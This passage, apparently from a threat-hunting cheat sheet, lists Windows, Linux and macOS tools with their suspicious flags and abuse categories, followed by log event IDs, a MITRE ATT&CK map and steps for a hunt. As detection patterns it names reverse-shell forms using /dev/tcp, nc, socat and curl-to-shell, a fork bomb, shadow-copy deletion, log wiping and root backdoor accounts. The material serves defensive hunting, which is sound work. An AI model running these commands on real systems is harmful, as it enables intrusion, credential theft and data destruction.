ktpass	/mapuser /pass /out <keytab>	Credentials
lpksetup	/i * /s /p <path>, /u	Execution
lodctr	/M:<manifest>, /r	Persistence
logman	create counter -rc -u -b/-e -r	Persistence
logoff	<sessionid> /server:<host>	Session

Windows (M-Z)

Tool	Suspicious flags/parameters	One-word abuse category
makecab	/f, /d CabinetName=	Collection
mofcomp	<file>.mof	Persistence
msbuild	<payload>.csproj, /p:	Execution
msdt	ms-msdt:/id PCWDiagnostic /skip /param, /filename	Execution
mshta	<url>.hta, javascript:, vbscript:	Execution
msiexec	/i <msi> /qn, /a, /j	Execution
nbtstat	-a, -A, -c	Recon
net	user/add, localgroup, share, use	Recon
netsh	advfirewall set allprofiles state off, wlan show profile ... key=clear, interface portproxy add	Evasion
netstat	-ano, -b	Recon
nltest	/dclist:, /dsgetdc:, /domain_trusts	Recon

Tool	Suspicious flags/parameters	One-word abuse category
nslookup	-type=TXT	Exfil
odbcconf	/S /A {regsvr <dll>}	Execution
openfiles	/query /v, /disconnect	Recon
pathping	<host>, -n	Recon
ping	-t, -n 1 -l <size>	Beacon
pnputil	/add-driver <inf> /install	Persistence
printbrm	-b -d <dir> -f <zip>, -r -f <zip> -d <dir>	Collection
psr	/start /output /sc 1 /gui 0	Collection
quser	/server:	Recon
query	user, session, process	Recon
reg	add, save, export	Persistence
regasm	<dll>, /U <dll>	Execution
regedit	/s, /e	Persistence
regini	<script.ini>, -m \\host	Persistence
regsvr32	/s /n /u /i:<url>.sct scrobj.dll	Execution
replace	/a, /r, /w	Evasion
robocopy	/E /MIR /COPYALL /R:0 /W:0	Collection
route	print, add <dest> mask <mask> <gw>	Tunneling
rpcping	/s <host>, /u /p	Recon
rundll32	javascript:"\\.\mshtml,RunHTMLApplication ", <dll>,<entry>	Execution
runas	/user:, /netonly, /savecred	Credential
sc	create, config, start, \\host start	Persistence
schtasks	/create /tn /tr /sc onlogon /ru SYSTEM /rl highest /f	Persistence
sort	< file, /o, /unique	Collection
subst	<X:> <dir>, /d	Evasion
syncappvpublishingserver	"n;<ps1> IEX"	Execution
systeminfo	(default), /s /u /p	Recon
takeown	/f /a /r /d y	Evasion
taskkill	/f /im, /pid, /t	Evasion
tasklist	/v /svc, /s /u /p	Recon
tftp	-i <host> GET/PUT	Transfer
tracert	-d	Recon
type	<file>	Collection
vssadmin	delete shadows /all /quiet	AntiForensics
wbadmin	delete backup -keepVersions:0	AntiForensics
wevtutil	cl, clear-log, epl	AntiForensics
where	/r <dir> <pattern>	Recon
whoami	/all, /priv, /groups	Recon
winrm	invoke Create wmicimv2/Win32_Process	Lateral
wmic	process call create, /node:, /user: /password:	Execution
wscript	<script.vbs>, //e:vbscript	Execution
wuauctl	/UpdateDeploymentProvider <dll> /RunHandlerComServer	Execution
xcopy	/E /H /I /Y /Q	Collection
wsreset	(bare) + HKCU\Software\Classes\AppX...\Shell\open\command	Evasion
mklink	/D <link> <target>, /J	Evasion
msinfo32	/report, /computer	Recon

Tool	Suspicious flags/parameters	One-word abuse category
mstsc	/v:<host>	Lateral
mountvol	<path> \?\Volume{GUID}	Evasion
netdom	query workstation /domain:	Recon
ntdsutil	"activate instance ntds" "ifm" "create full"	Credential
regsvcs	<dll>	Execution
secedit	/export /cfg	Recon
psexec	\\host -u -p <cmd> (third-party)	Lateral

Linux, Shells & Builtins

Tool	Suspicious flags/parameters	One-word abuse category
exec	-i, -a name, -c, N<>/dev/tcp/H/P	Execution
eval	"\${curl ...}", \$(base64 -d <<< ...)	Execution
source (.)	source /tmp/x, . /dev/tcp/H/P, rc-files	Execution
bash (invocation)	-c, -i, --rcfile, --noprofile --norc, -s	Execution
/dev/tcp	>& /dev/tcp/H/P 0>&1, <>, > /dev/tcp/H/P	Network
/dev/udp	<>/dev/udp/H/P, >& /dev/udp/H/P	Network
ztcp	-l 4444, ztcp HOST 4444	Network
read	-s, -p, < /dev/tcp/H/P, -u N	Credentials
trap	'cmd' EXIT, 'cmd' 0, 'cmd' HUP/INT/TERM	Persistence
alias	alias ls='...', alias sudo='...'	Persistence
export	PATH=/tmp:\$PATH, LD_PRELOAD=, PS1='\${...}', PROMPT_COMMAND=, HISTFILE=/dev/null	Hijacking
history	-c, -d N, -w, -r	Evasion
set	+o history, -x, -e, -- \$INPUT	Evasion
setopt	HIST_IGNORE_SPACE, unset HISTFILE	Evasion
shopt	-s extglob, -s expand_aliases	Destruction
ulimit	-c 0, -u unlimited, -s unlimited	Evasion
printf	'\NNN', %b, sh	Obfuscation
: (null)	:(){ : :& };;:	DoS
kill	-9 PID, -9 -1, -STOP PID	ProcessStop
nc (third-party)	-e /bin/sh H P (no -e on macOS)	Network
socat (third-party)	TCP:H:P EXEC:/bin/sh	Network
python3	-c 'socket...dup2.../bin/sh'	Execution
perl	-e 'Socket...exec("/bin/sh -i")'	Execution
telnet	telnet H P /bin/bash telnet H P2	Network
gawk	/inet/tcp/0/H/P	Execution
busybox	nc H P -e /bin/sh	Execution

Linux, Coreutils A-M

Tool	Suspicious flags/parameters	One-word abuse category
base64	-d, -w 0, -i	Obfuscation
base32	-d, -w 0	Obfuscation
basenc	--base58btc, --z85, --base64url, --base2lsbf, -d	Obfuscation
gzip	-c, -d, -9	Compression

Tool	Suspicious flags/parameters	One-word abuse category
bzip2	-c, -d, -9	Compression
awk	/inet/tcp/, BEGIN{, system(), -v	Execution
env	-i, LD_PRELOAD=, LD_LIBRARY_PATH=	Hijacking
ls	-la, -R, -a, /root, /etc	Recon
find	-perm -4000, -exec, -newermt, *shadow*	Discovery
df	-T, -h	Recon
cat	/etc/shadow, /proc/kcore, heredoc >	Credentials
lsattr	-a, -R, -d	Evasion
cp	-p, -a, --preserve=timestamps	Masquerading
dd	if=/dev/sd*, of=/dev/sd*, of=/var/log/*, conv=noerror,sync	Destruction
mv	-f, logs→ /tmp/dot-names	AntiForensics
mkdir	-p hidden dot-dirs under /tmp, /dev/shm	Staging
ln	-s, -sf to shadow/kcore/dev/sda	Symlink
chmod	4755, u+s, 777, +x	Escalation
chown	-R, root:root, www-data	Masquerading
chgrp	-R, root, www-data	Masquerading
chcon	-t bin_t, -t httpd_sys_script_t, -R	Evasion
chattr	+i, +a, -i, -a, -R	Persistence
rm	-rf, --no-preserve-root, -f /var/log/*	Destruction
shred	-u, -z, -n 5-30, /dev/sd*	AntiForensics

Linux, Coreutils M-S

Tool	Suspicious flags/parameters	One-word abuse category
mkfifo	-m 777, /tmp/.f + sh -i/nc	Shell
mknod	p, b 8 0, c 1 3	RawDisk
touch	-a -m -c -d -t -r	Timestomp
truncate	-s 0, -s -1K, -c	LogWipe
mkdir	-p, dot/hidden names, /dev/shm	Staging
mktemp	-d, -p	Staging
mv	rename-to-legit, -f, -T	Masquerade
rm	-rf, -f	Deletion
shred	-u -n 7 -z	Wipe
ls	-a -la -R -i	Enumerate
stat	-c '%n %s %Y', -f	Recon
find	-exec -execdir -delete -perm -4000	Execute
wc	-l -c -w	Count
md5sum	hash of dropped binary	Fingerprint
sha256sum	hash of dropped binary	Fingerprint
grep	-r -R -i -E -l -o -P	CredHunt
egrep	-r -i -l (legacy)	CredHunt
fgrep	-r -F -l (legacy)	CredHunt
awk	-F:, BEGIN{system()} , \$3==0	Execute
sed	-i, -i.bak, -n '1,5p', -e	Tamper
tr	-d -s -cd, case-shift	Obfuscate
cut	-d: -f1 /etc/passwd, -c	Extraction
head	-n, -c	Extraction
tail	-f, -n, -c	Watch

Tool	Suspicious flags/parameters	One-word abuse category
sort	-u, -t: -k3 -n	Processing
uniq	-c -d -u	Processing
xargs	-0 -n1 -P -I{} -d	Execute
split	-b, -l, -d	Chunking
sleep	sleep N (large/looped)	Evasion

Linux, Coreutils T-Z & Archives

Tool	Suspicious flags/parameters	One-word abuse category
uname	-a, -r, -m	Recon
strings	-a, -n, -e	Extraction
od	-A, -t	Extraction
hexdump	-C, -v	Extraction
xxd	-r, -p, -i	Decode
tac	-r	Extraction
tail	-f /dev/null, -n 0 -f	Extraction
tr	-d, 'A-Za-z' 'N-ZA-M'	Decode
sort	-u, -t: -k3 -n	Transform
uniq	-c, -d	Transform
wc	-l, -c	Transform
shuf	-n, -e, -i	Transform
split	-b, -l, -d	Staging
stdbuf	-o0, -e0, -i0	Execution
env	-i, -S, LD_PRELOAD=	Execution
xargs	sh -c, -0, -P	Execution
timeout	-s, -k	Execution
sleep	3600, infinity	Evasion
watch	-n, -x, -t	Execution
nice	-n	Execution
renice	19 -p, -n -20	Evasion
nohup	>/dev/null 2>&1 &	Execution
setsid	-f	Execution
script	-q, -c, -f, -a	Execution
install	-m 4755, -D, -o, -g	Persistence
touch	-t, -r	Timestamp
tee	-a	Evasion
gzip	-9, -c, -k	Staging
gunzip	-c	Decode
zcat	(default)	Decode
tar	-czhf -, --checkpoint-action=exec=, --to-command	Staging
zip	-r, -P, -e	Staging
unzip	-o, -d, -p	Execution
bzip2	-9, -k	Staging
xz	-9, -k, -T0	Staging
cpio	-o, -i, -d, --no-absolute-filenames	Staging
md5sum	-c	Integrity
sha1sum	-c	Integrity
sha256sum	-c	Integrity

Tool	Suspicious flags/parameters	One-word abuse category
sha512sum	-c	Integrity
unshare	-r, -m, -p, -f, --mount-proc, -n, -U	Escape
nsenter	-t 1, -a, -m -u -i -n -p	Escape
chroot	DIR cmd, .	Escape
flock	-n, -w, -c	Lock

Linux, Network & Remote Tools

Tool	Suspicious flags/parameters	One-word abuse category
curl	-o -O -k -s -S -e -A --proxy -x -d -F -T -C -K -w	Staging
wget	-O --no-check-certificate -q -i -e -b	Staging
nc / netcat	-e -l -p -n -z -u -k -c -L	ReverseShell
ncat	-e --sh-exec -l -p --ssl --proxy --allow --keep-open	ReverseShell
socat	EXEC: SYSTEM: TCP-LISTEN: OPENSSL: -d -d -v	PivotShell
ssh	-N -R -L -D -W -f -o ProxyCommand -o ProxyJump -tt	Tunneling
sshd	-d -p -o PermitRootLogin=yes -o AuthorizedKeysFile= -f	Persistence
ssh-keygen	-f -y -p -N "" -t -C -R	KeyBackdoor
ssh-agent	-k -s -c -t	KeyTheft
ssh-add	-D -d -L -k -t	KeyTheft
scp	-o StrictHostKeyChecking=no -P -C -q -r -i -F	Exfil
sftp	-o StrictHostKeyChecking=no -P -b -i -C -R	Exfil
rsync	-e -a -z -q --partial --bwlimit --daemon --config= --delete	Exfil
telnet	-l -e	CredHarvest
ftp	-i -n -v -s	Exfil
tftp	-c -m binary -i	Exfil
openssl	s_client -connect -quiet -ign_eof enc -aes-256-cbc -a -pbkdf2 req -x509 -nodes	C2Channel
gpg / gpg2	-c --symmetric -e -r -a --batch --passphrase-file --pinentry-mode loopback	Ransomware
dig	@server -p -t TXT -t ANY -x +short -q	DNSTunnel
nslookup	-server= -port= -type=TXT -query=	DNSTunnel
host	-T -p -t TXT -a -v	DNSTunnel
resolvectl	flush-caches dnssec set-dns set-server query	DNSRedir
nmcli	wifi connect ... password device show ip address add/del connection up	NetworkRecon
ip	link set down addr add/del route add/del neigh	NetConfig
route	route add -host/default gw route del	Pivot
arp	-s -d -i	ARPMITM
ifconfig	hw ether up/down inet add	MACSpooF
netstat	-anpt -tulpn -rn -ap	Recon
ss	-tanp -tulpn -anp state established	Recon
lsof	-i -p -u -n -P -iTCP -iUDP	Recon
fuser	-k -v -u -n	Disruption
tcpdump	-i -w -A -X -s 0 -nn -G -z -U	Sniffing
iptables	-A -I -D -F -X -Z -P -L -j DROP/ACCEPT -s -d	Evasion
iptables-save	> /tmp/.rules	Recon
iptables-restore	< /tmp/.rules	Evasion

Tool	Suspicious flags/parameters	One-word abuse category
nft	add table/chain/rule flush ruleset list ruleset	Evasion
ebtables	-A -F -j DROP	Evasion
ufw	allow from deny out to reset disable	Evasion
firewall-cmd	--add-rich-rule --add-port --panic-on --runtime-to-permanent	Evasion
ping	-p -s -c -i -f -q -W -n	Discovery
traceroute	-T -U -p -I -n -m -q	Recon
tracert	-p -n -m	Recon

Linux, System, Services & Logs

Tool	Suspicious flags/parameters	One-word abuse category
systemctl	enable, link, edit, mask, kill, set-default, reboot	Persistence
service	<name> start, --status-all, <name> stop	Persistence
update-rc.d	defaults, enable, -f remove	Persistence
chkconfig	--add, --level N on, --list	Persistence
systemd-run	--on-calendar, --unit, --scope, --shell, --uid	Persistence
systemd-escape	--path (feeds --unit)	Masquerading
systemd-tmpfiles	/etc/tmpfiles.d/*.conf f+/w entries	Persistence
loginctl	enable-linger, terminate-session	Persistence
telinit	1, 3, 6	Disruption
crontab	-e, -u -e, -r, @reboot	Persistence
cron	/etc/cron.d/ entries, @reboot	Persistence
anacron	/etc/anacrontab payload lines	Persistence
at	now +lmin -f, -q, -t	Execution
atq	-q	Recon
atrm	<jobid>	AntiForensics
batch	-f payload	Execution
journalctl	--rotate, --vacuum-time, --vacuum-size	AntiForensics
dmesg	-c, -C	AntiForensics
lastlog	-u, -t	Recon
logrotate	postrotate script, create 0666	Execution
logger	-t, -p, -n -P 514 -d	Injection
sysctl	-w kernel.randomize_va_space=0, -w net.ipv4.ip_forward=1	Evasion
update-alternatives	--set, --install	Hijacking
systemd-ask-password	interactive console prompt	Phishing
shutdown	-r now, -h now	Disruption

Linux, Audit, Users & Auth

Tool	Suspicious flags/parameters	One-word abuse category
auditctl	-e 0, -D, -a never, exit -S all, -R (empty)	DisableAudit
ausearch	-i -m USER_LOGIN, -ua, -x, -k, -ts/-te	Recon
aureport	-au, -l, -x, -u	Recon
lastcomm	<user>, -f <file>	Recon
last	-f <file>, -i, -x	Recon
lastb	-f <file>, -i	Recon
who	-a, -u, -b	Recon
w	-f, -i, -s	Recon

Tool	Suspicious flags/parameters	One-word abuse category
utmpdump	< /var/run/utmp, regenerate wtmp/btmp	Evasion
useradd	-o -u 0 -g 0, -p, -G sudo, -r	Backdoor
userdel	-r, -f	Impact
usermod	-aG sudo wheel, -G, -o -u 0, -s, -p, -L/-U	Escalation
newusers	newusers <file> (mass accounts)	Backdoor
chsh	-s <arbitrary binary>	Persistence
groupadd	-g 0, -r	Escalation
groupmod	-o -g 0, -n	Escalation
gpasswd	-a, -A, -M, -R, -d	Escalation
chage	-M -1, -E -1, -d 0, -l	Persistence
passwd	-d, -l/-u, -e, --stdin (RHEL)	Credential
chpasswd	-e, -c SHA512, stdin user:pass	Credential
faillock	--user <u> --reset, --dir	Evasion
pam_tally2	--user <u> --reset, -u -r, -f	Evasion (legacy)
sudo	-u <user>, -u#0, -i/-s, -E, env LD_PRELOAD, -l, bash -c	Escalation
sudoedit	sudoedit /etc/sudoers, SUDO_EDITOR=<mal>	Escalation
su	-, -c '<cmd>', -l	Escalation
visudo	-f <path>, -c (plus direct sudoers append)	Escalation
pkexec	--user <u>, PKEXEC_UID=0 (CVE-2021-4034)	Escalation
id	id, id <user>	Recon
groups	groups <user>	Recon
getent	passwd <name>, shadow <name>, group	Recon
loginctl	list-sessions, session-status, terminate-session, unlock-sessions	Recon
hostname	hostname <new>, -F <file>, -I	Evasion
hostnamectl	set-hostname, set-chassis, set-deployment	Evasion
timedatectl	set-time, set-ntp false	Evasion
localectl	set-locale, set-keymap	Evasion

Linux, Kernel, Storage & Devices

Tool	Suspicious flags/parameters	One-word abuse category
lsmod	none (recon output)	Recon
insmod	-f	ModuleLoad
modprobe	-f, -d <dir>, -C <cfg>, -n	ModuleLoad
rmmod	-f, -w	DefenseEvasion
depmod	-b <dir>, -C <cfg>, -F <map>	ModuleLoad
modinfo	-F <field>, -n	Recon
sysctl	-w, -p <file>	DefenseEvasion
kexec	-l, -e, --initrd=	Persistence
dmesg	-c	AntiForensics
unshare	-r, -m, -n, --mount-proc	ContainerEscape
nsenter	-t <pid>, -a, -m -n -p	ContainerEscape
mount	-o loop,bind,remount,exec, --bind	DataHiding
umount	-l, -f, -R	AntiForensics
losetup	-f, -o <offset>, -r	DataHiding
swapon	-a, -p, -o	DataHiding
swapoff	-a	AntiForensics
lsblk	-f, -o, -S	Recon

Tool	Suspicious flags/parameters	One-word abuse category
findmnt	-o, -R, -S <src>	Recon
blkid	-p, -o value, -s	Recon
fdisk	-l, scripted input	Recon
parted	-s, -m	DataDestruction
mkfs.*	-F/-f, -q, -L, -U	DataDestruction
mkswap	-f, -L, -U	DataHiding
tune2fs	-U <uuid>, -O ^has_journal	AntiForensics
e2fsck	-y, -n, -b	Recovery
debugfs	-w, -R "lsdel", logdump	Recovery
dumpe2fs	-h, -i	Recon
chattr	+i, +a, +A	Persistence
lsattr	-R, -a	Recon
dd	of=/dev/sdX, if=, bs=512 count=1	DataDestruction
wipefs	-a, -f, -o <offset>	AntiForensics
shred	-u, -z, -n	DataDestruction
dmidecode	-d <memfile>, -t, -s	Recon
lscpu	-e, -p, -J	Recon
lsusb	-v, -d <vid:pid>	Recon
lspci	-nn, -k	Recon
strace	-p <pid>, -e trace=read,write, -s 4096	Sniffing

Linux, Packages & Interpreters

Tool	Suspicious flags/parameters	One-word abuse category
perl	-e, -ne, -pe, -M, -i	ReverseShell
python3	-c, -m http.server, -I, -B	ReverseShell
ruby	-e, -r	ReverseShell
php	-r, -S, -d, -n, -a	CodeExec
awk	system(), pipe to /bin/sh	CodeExec
sed	s///e, -i	CodeExec
expect	-c with spawn/expect	Automation
xargs	-I{} sh -c, -n1 sh	ShellExec
node (third-party)	-e, -p	ReverseShell
python2 (legacy)	-c	LegacyExec
git	-c core.sshCommand, -c core.hooksPath, --recurse-submodules, credential.helper store	ExecOverride
gcc	-o, -z execstack, -static, -s	OnHostCompile
ld	-o, -T, -shared	Linking
make	-f, -C, -s	RecipeExec
dpkg	-i, --unpack --force-all, --root	RootInstall
apt	install -y, download, source	Install
apt-get	install -y, --force-yes (legacy), source	Install
apt-cache	search, show, policy	Recon
rpm	-Uvh --force --nodeps, --noscripts	RootExec
yum	localinstall, --nogpgcheck, --enablerepo	MaliciousInstall
dnf	install ./pkg.rpm, --nogpgcheck, config-manager --add-repo	MaliciousInstall

Tool	Suspicious flags/parameters	One-word abuse category
snap	install --dangerous --devmode --classic	ConfinementBypass
flatpak	install --from, override --filesystem	SandboxOverride
pip3	--index-url, --extra-index-url, --user, -r	SupplyChain
gem	install, --user-install, sources --add	SupplyChain
screen	-dmS, -x, -D -R	PersistShell
tmux	new-session -d, attach -t, send-keys	PersistShell
dbus-send	--system, --dest=, --print-reply	MethodInvoke
gdbus	call, introspect	MethodInvoke
busctl	call, list, introspect, monitor	MethodInvoke
start-stop-daemon	--start --exec --background --make-pidfile --chuid	Daemonize

macOS, Execution & Persistence

Tool	Suspicious flags/parameters	One-word abuse category
launchctl	bootstrap, bootout, load -w/-F, unload -w, kickstart -k, setenv, submit (legacy/removed)	Persistence
launchd plist keys	RunAtLoad, KeepAlive, ProgramArguments, WatchPaths, StartInterval, StartCalendarInterval	Persistence
Login Items (System Events)	make login item ... hidden:true, backgrounditems.btm edits	Persistence
cron / crontab	crontab -, -u, -r, -l	Persistence
at	at -f ... now, echo cmd at now + N min, atq	Persistence
/etc/periodic	scripts in /etc/periodic/{daily,weekly,monthly}	Persistence
Emond	/etc/emond.d/rules/*.plist with actions: run	Persistence
nohup	nohup bash -c '...' &	Persistence
profiles	install -path, remove -identifier, status/renew -type enrollment	Persistence
osascript	-e, -l JavaScript, do shell script, System Events, \$.system, NSTask	Execution
osacompile	-o, -e, -t app, -x	Execution
open	-f, -u, -a, -n, -g, -j, -W	Execution
sh / bash / zsh	curl <url> sh, bash -i, sh -c, zsh -c (no nc -e on macOS)	Execution
installer	-pkg, -target /, -allowUntrusted, -verboseR	Execution
pkgutil	--expand, --flatten, --files, --bom, --payload-files	Execution
softwareupdate	-i -a, --no-scan, --background, --fetch-full-installer	Masquerade
automator	automator -i <workflow>	Execution
pkgbuild / productbuild	pkgbuild --root, productbuild --package	Execution
plutil	-create, -insert, -replace, -convert, -extract	Persistence
defaults	write <plist-path>, LSQuarantine -bool false (legacy)	Evasion
sysadminctl	-addUser ... -admin, -secureTokenOn, -resetPasswordFor	Credentials
sudo	-S, -i, -u, -s	Escalation
spctl (cross-ref)	--master-disable (removed on modern macOS)	Evasion
csrutil (cross-ref)	disable, enable, status	Evasion

macOS, Security & Signing

Tool	Suspicious flags/parameters	One-word abuse category
codesign	-s -, -f, --deep, --timestamp=none, -i	Signing
xattr	-d com.apple.quarantine, -C, -r, -w	Quarantine
csreq	-r, -t	Recon
kmutil	load -p, kickstart -p, configure-boot -c	Kexts
kextutil	-l, -t, -b, -n	Kexts
kextload	kextload /path/x.kext	Kexts
kextunload	-b <id>	Kexts
kextstat	-l, -b, -k	Recon
systemextensionsctl	list, developer on	Extensions
log	erase --all, config --mode off --subsystem	Logs
security	dump-keychain -d, unlock-keychain -p, find-generic-password -w, set-key-partition-list -S, add-generic-password -w, authorizationdb write	Keychain
dscacheutil	-q user, -q group, -q host, -flushcache	Recon
dseditgroup	-o edit -a ... admin, -o create	Privilege
dscl	-passwd, -create, -append GroupMembership	Accounts
tcutil	reset <svc>, reset All <bundle-id>	TCC
sqlite3	reads/writes on TCC.db, History.db, Contacts/Mail DBs	Data
nvr	boot-args=, -d, -c	Firmware
fdsetup	disable, list, remove -user, add -user	Encryption

macOS, Network & Artifacts

Tool	Suspicious flags/parameters	One-word abuse category
scutil	--set HostName/LocalHostName/ComputerName, --dns, --proxy, --nc list	Evasion
system_profiler	SPHardwareDataType, SPSoftwareDataType, SPInstallHistoryDataType, SPNetworkDataType, -xml	Recon
sysctl	-a, -w net.inet.ip.forwarding=1	Recon
netstat	-an, -rn, -p tcp, -i, -x	Recon
nettop	-p <pid>, -l <sec>, -J	Recon
arp	-s <ip> <mac>, -d <ip>, -a	Recon
ping	-c, -s, -t, -i	C2
traceroute	-n, -m, -I, -p <port>	Recon
dig	+short, TXT, -x	C2
lsof	-i, -iTCP -sTCP:ESTABLISHED, +l1, -U, -nP	C2
networksetup	-setwebproxy, -setsecurewebproxy, -setsocksfirewallproxy, -setdnsservers, -setsearchdomains, -setnetworkserviceenabled off	Hijack
ifconfig	en0 <ip>, en0 up/down, en0 ether <mac>	Evasion
ipconfig	getifaddr, getpacket, set <if> DHCP	Recon
route	add -net, change default, delete, -n get	Pivot
pfctl	-d, -e, -f <rules>, -F all, -sr, -sn, -ss	Evasion
tcpdump	-i any, -w, -X, -A, -r	Sniff
fs_usage	-w, -f network, -p <pid>	Recon
opensnoop (legacy)	-p <pid>, -n <name>, -d <path>	Recon
nc	-l -p, -l -k, outbound <ip> <port>, < payload sh (no -e on macOS)	C2

Tool	Suspicious flags/parameters	One-word abuse category
hdiutil	attach, attach -nobrowse, create -encryption, convert -format UDZO	Staging
mount	-t smbfs, -t webdav, mount_osxfuse (third-party)	Exfil
systemsetup	-setremotelogin on, -setcomputername, -setnetworktimeserver, -setwakeonnetworkaccess on	Persistence
pmset	-a sleep 0, disablesleep 1, schedule wake	Persistence
mdfind	-name, -onlyin, -attr, -count, -live, kMDItemWhereFroms	CredAccess
find	-name/-iname "*.pem" "*.key", -perm -4000, -exec, -delete	CredAccess
chflags	hidden, uchg, schg, nouchg, -R	Hide
chmod	4755, u+s, g+s, 777, -R	PrivEsc
mdutil	-i off, -E, -a	Evasion
mdimport	-i <path>, -d <level>, -A, -c	AntiForensics
diskutil	eraseDisk, secureErase, mount, unmount, rename	Destruction
stat	-f "%N %Z %m %Sm", -l	Recon
ls	-laR, -O, -@, -A	Recon
mdls	-name kMDItemWhereFroms, -raw	Recon
ditto	-c -k, -x -k, --keepParent	Exfil

Appendix C: Key Event IDs & Log Sources Across Platforms

Platform	Log / source	Event IDs	What it detects
Windows	Security	4624	Logon, LogonType 2/3/4/9/10 + source IP
Windows	Security	4625	Failed logon, spraying/brute force (T1110)
Windows	Security	4648/4672	Explicit creds (runas/PSRemoting, T1078); special privileges, admin
Windows	Security	4688	Process creation (cmdline needs GPO)
Windows	Security	4697	Service installed (T1543.003)
Windows	Security	4720/4728/4732	Account created (T1136); group member added (T1098)
Windows	Security	1102 (also 104/1100)	Audit/log cleared, Log service stopped (T1070.001)
Windows	System	7036/7045	Service state change / new service installed
Windows	Windows PowerShell	400/403/600	Engine start/stop/provider, always on
Windows	PS Operational	4103/4104/4105/4106	Module + script block logging (GPO-gated; 4104 primary)
Windows	TaskScheduler Op.	106/129/141/200/201	Task registered / ran / deleted (T1053.005)
Windows	WMI-Activity Op.	5857/5858/5860/5861	Providers, temp/permanent consumers, 5861 permanent (T1546.003)
Windows	Sysmon	1, 3	Process (full cmdline) / network connection
Windows	Sysmon	6, 7, 8, 11, 13, 22	Driver, image load, injection, file, registry, DNS
Windows	Defender Op.	1116/1117/1119	Detected / remediated / action failed (1119 matters)
Windows	AppLocker	8003-8006	EXE/script allowed/blocked (covers .ps1)
Linux	journald	N/A	<code>journalctl -u/-k/-p</code> ; gaps while host was up = clearing (T1070.002)
Linux	auth.log / secure	N/A	Accepted / Failed password / session opened
Linux	wtmp / btmp; syslog / messages	N/A	<code>last</code> / <code>lastb</code> logins; cron runs, sudo, daemon errors
Linux	auditd	N/A	ausearch EXECVE/USER_LOGIN/AVC; auditctl -l, enabled=0 is a finding
macOS	Unified log	N/A	<code>log show</code> , primary source; prunes fast, collect early
macOS	Unified log: TCC / sypolicyd / XProtect; TCC.db	N/A	Perm allow/deny (T1548), Gatekeeper, AV; auth_value 0/2/3
macOS	system.log; install.log + /var/db/receipts	N/A	sudo/ssh/su; installs, attacker packages appear here
macOS	wtmp; DiagnosticReports	N/A	<code>last</code> logins; crash reports

Appendix D: MITRE ATT&CK Technique Quick Map

Technique	What to look for
T1003	Credential dump, lsass access, mimikatz, Export-Clixml, reg save SAM, esentutl ntds.dit
T1021.006	PSRemoting, WinRM 5985/5986, 4624 LogonType 3, New-PSSession/Invoke-Command
T1027	Obfuscation, -enc blobs, base64 -d, entropy 7.9+ bits/byte, UPX-packed
T1036	Masquerading, renamed binaries, spoofed unit/service/launchd names, hidden dot-files
T1041/T1048	Exfil, ftp -s:, tftp PUT, xcopy/robocopy to shares, DNS TXT/long labels
T1046/T1049	Scanning & connection inventory, SYN_SENT/TIME_WAIT storms, netstat/ss/lsof
T1047	WMI exec, wmic process call create
T1053	Scheduled tasks/cron/timers/at, schtasks, crontab, systemd timers, atq
T1055	Injection, Sysmon 8, Assembly.Load, processes with no Path
T1059	Scripting abuse, PowerShell -enc /iex, bash reverse shells, osascript, python -c, wscript/cscript, mshta
T1070	Indicator removal, wevtutil cl + 1102/104, HISTSIZE=0, log gaps, mtime vs ctime/birth mismatch
T1071/T1568	C2 & dynamic resolution, beacon intervals, odd ports, SNI/DNS hints, DGA, fast flux, TXT base64
T1078/T1136	Valid accounts & creation, backdoor users (4720, UID 0), ssh keys, runas /savecred, NIS + entries
T1098	Account manipulation, 4728/4732, net localgroup, authorized_keys edits
T1105	Tool transfer, curl bash, certutil, bitsadmin, DownloadString, wget to /tmp
T1110	Brute force, 4625 bursts, Failed-password aggregation, faillock counters
T1140	Decode/deobfuscate, certutil -decode, base64 -d/-D, xxd -r, FromBase64String
T1190	Web exploit, .php?cmd=, webshell POSTs in access logs
T1218	Signed proxy exec, mshta, rundll32 mshtml, regsvr32 scrobj.dll, forfiles
T1490	Backup destruction, vssadmin delete shadows, wbadmin delete, bcdedit recoveryenabled no
T1505.003	Webshells, eval(base64_decode(in webroot; web-user process creation
T1543	Service/daemon creation, sc create, systemd units, launchd plists; 7045/4697
T1546	Event-triggered exec, WMI 5861, IFEO Debugger/GlobalFlag, AppInit_DLLs, emond, shell rc, .git hooks
T1547	Boot/logon autostart, Run/RunOnce, Startup folders, rc.local/rc*.d, motd, launchd, Winlogon Shell/Userinit
T1548	Priv esc, setuid, cap_setuid, sudoers NOPASSWD, Selpersonate (potato), wheel/docker
T1553	Trust abuse, Gatekeeper off, quarantine stripped, adhoc signatures, SIP disabled
T1562	Defenses impaired, Defender disabled/1119, AV exclusions, auditd off, PS logging keys deleted
T1564	Hidden artifacts, ADS, hidden attrs/chflags, /dev/shm, hidden TEMP dirs
T1574	Hijacking, LD_PRELOAD, DYLD_INSERT_LIBRARIES, DLL side-loading, launchctl setenv PATH

Next Steps for a Real Hunt

Start with Appendix A per host to build the intrusion timeline (logons, processes, connections, staged files), then pivot on every red flag: decode `-enc/base64` blobs (PowerShell is UTF-16LE), hash and intel-check binaries, and trace each persistence hit to its origin through parents and timestamps. Correlate Appendix C event IDs across hosts for lateral movement, map findings to MITRE (Appendix D), and archive evidence (hashed, UTC-stamped, write-protected) before touching anything. Then widen the net: replay Appendix A-C indicators across your SIEM for 30 days, hunt the *absence* of logs (cleared Security, empty history, journal gaps) as loudly as their presence, and harden exactly the gaps the attacker used; this sheet is only as good as the next hunt it enables.